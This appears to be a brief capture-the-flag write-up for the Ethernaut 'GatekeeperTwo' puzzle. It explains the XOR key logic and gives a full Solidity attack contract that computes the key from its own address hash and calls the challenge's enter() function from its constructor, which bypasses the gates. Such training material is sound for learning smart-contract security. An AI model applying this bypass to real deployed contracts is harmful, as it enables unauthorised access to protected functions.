Ethernaut Puzzle 14 GateKeeper Two

This question requires calculating an XOR value. To get the XOR value, we need to perform XOR operation again. The way the XOR value was originally calculated in the problem statement is the same logic that needs to be implemented in our smart contract code to get the XOR value.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;

interface GatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperTwoSolution {
GatekeeperTwo public gatekeeperTwo;
constructor() public {
gatekeeperTwo = GatekeeperTwo({%YOUR_CHALLENGE_CONTRACT_ADDRESS%});
uint64 gateKey = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ (uint64(0) - 1);
gatekeeperTwo.enter(bytes8(gateKey));
}
}